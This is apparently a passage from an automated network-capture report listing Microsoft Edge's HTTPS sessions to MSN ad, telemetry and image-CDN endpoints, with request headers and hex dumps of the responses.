2024-11-16 12:01:39 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=19EE44C5987468FE3EE351FC992369A3&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=3209b7f36dda42078c53ff09a5010207 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
2024-11-16 12:01:39 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 12:01:38 GMT Connection: close
2024-11-16 12:01:39 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49869	52.168.117.170	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758497076&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3852 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
2024-11-16 12:01:39 UTC	3852	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 32 3a 30 31 3a 33 37 2e 30 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 35 33 32 61 64 30 2d 31 34 37 65 2d 34 65 39 62 2d 61 34 64 66 2d 64 35 63 35 37 39 36 31 31 62 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 34 39 36 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-16T12:01:37.071Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"14532ad0-147e-4e9b-a4df-d5c579611b5e","epoch":"1554962777"},"app":{"locale
2024-11-16 12:01:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5a59f8ba2c7844a19bea62f45eae62e8&HASH=5a59&LV=202411&V=4&LU=1731758499475; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 12:01:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=abe4bf0179c548b3885df37835e8b0a4; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 12:31:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2399 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49877	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 06:27:19 GMT X-Datacenter: eastus X-ActivityId: bfe9db43-0a36-469e-af46-2af8fd5ff268 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw X-Source-Length: 100376 Content-Length: 100376 Cache-Control: public, max-age=196041 Expires: Mon, 18 Nov 2024 18:29:00 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:39 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 12:01:39 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-16 12:01:39 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
2024-11-16 12:01:39 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-16 12:01:39 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-16 12:01:39 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;
2024-11-16 12:01:39 UTC	16384	IN	Data Raw: ae e5 7c 83 4f 36 34 30 69 99 ba d9 34 e1 a0 61 0d 1d 0c 5c 95 98 e7 b7 d3 0d 02 4c df f2 53 c5 49 0e ce 6d 3f a4 1f ba e5 9e 27 9f 30 b1 a5 91 3f 87 04 32 ee f6 8c f8 2a 73 88 a7 a8 e2 f7 24 53 71 f4 80 1b 1c 79 95 4f 71 24 36 d6 16 5c f8 6e 4f 4d 7c 11 d5 74 b6 1a dc 29 bf 45 ee ff 00 ed 05 e0 78 6b 15 ee bf ed 05 c7 dd d4 e9 ed bf 84 86 4d d6 45 73 65 3d c5 67 56 c1 4a 42 9e 86 0d 42 b4 f8 47 41 0b 1e a1 bd 94 ca 0e f3 2e c9 46 e2 73 41 d4 8f ae 70 4f 5e b4 dd ab e7 7c 0d 4c 17 bf 61 96 af 12 aa 4c f6 5e 69 33 ce f1 2d c5 78 3e 21 b0 57 d0 f8 a0 bc 37 12 2e ba 3b 60 fb 9a 1e 7e 74 a9 ec 70 31 0b 31 ca 4b 0c 05 d7 2d 0e 14 f3 36 03 93 a6 c5 67 35 f7 52 9a f9 b2 1d 64 17 15 99 15 9b 24 af 2f 55 97 9d 51 7e dd d7 b7 7e 33 cd 79 ee 3e a8 30 d0 c6 b5 a3 00 Data Ascii: \|O640i4a\LSIm?'0?2*s$SqyOq$6\nOM\|t)ExkMEse=gVJBBGA.FsApO^\|LaL^i3-x>!W7.;`~tp11K-6g5Rd$/UQ~~3y>0
2024-11-16 12:01:39 UTC	8048	IN	Data Raw: 96 07 b1 09 7d 5c 09 31 b2 e8 4a 57 93 40 ed 11 b5 37 eb 04 c6 d6 d3 92 8c 5b 89 46 ca 65 c8 f4 b7 8a c9 27 8a 71 10 a0 ea c7 9a d5 6f 0a 51 ff 00 18 24 b0 ad 08 7d c4 62 26 06 92 b7 7f 8c 39 a9 8c a2 d6 e4 16 c4 81 be e7 03 21 9c 39 d9 6b 33 86 27 30 de df b8 53 24 37 10 7c 02 92 1a 5d 12 01 07 af c5 4e 67 3b 93 64 aa 5c 3b 00 c2 fc ee a4 8e 1b 70 23 94 fd d4 56 b0 53 3e 57 78 6a f7 15 38 39 ff 00 d5 dc 50 c9 a2 75 3a 2c 61 fc 53 6a 54 00 40 06 16 77 a8 70 3d e3 f3 51 9f 51 f9 69 77 20 52 c3 9e f3 25 ed 13 fd 49 c3 4b b9 14 6d 2c 9b b0 82 b1 f5 82 7c ec 2c 3b ad 2a 63 9c a4 67 9f bf 6c da 63 69 9f 64 90 7a d9 4b 92 30 2b 24 3e 02 66 af 04 3a 11 ad eb 98 b9 ed 50 cf 9b de a2 92 14 52 f1 bd d3 a2 ba 93 0c 8c 14 77 1a 87 00 0f 22 96 1c 7f a8 f2 4c 68 d5 99 Data Ascii: }\1JW@7[Fe'qoQ$}b&9!9k3'0S$7\|]Ng;d\;p#VS>Wxj89Pu:,aSjT@wp=QQiw R%IKm,\|,;*cglcidzK0+$>f:PRw"Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49881	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=404031 Expires: Thu, 21 Nov 2024 04:15:30 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:39 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49880	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=394102 Expires: Thu, 21 Nov 2024 01:30:01 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:39 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49876	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=219817 Expires: Tue, 19 Nov 2024 01:05:16 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
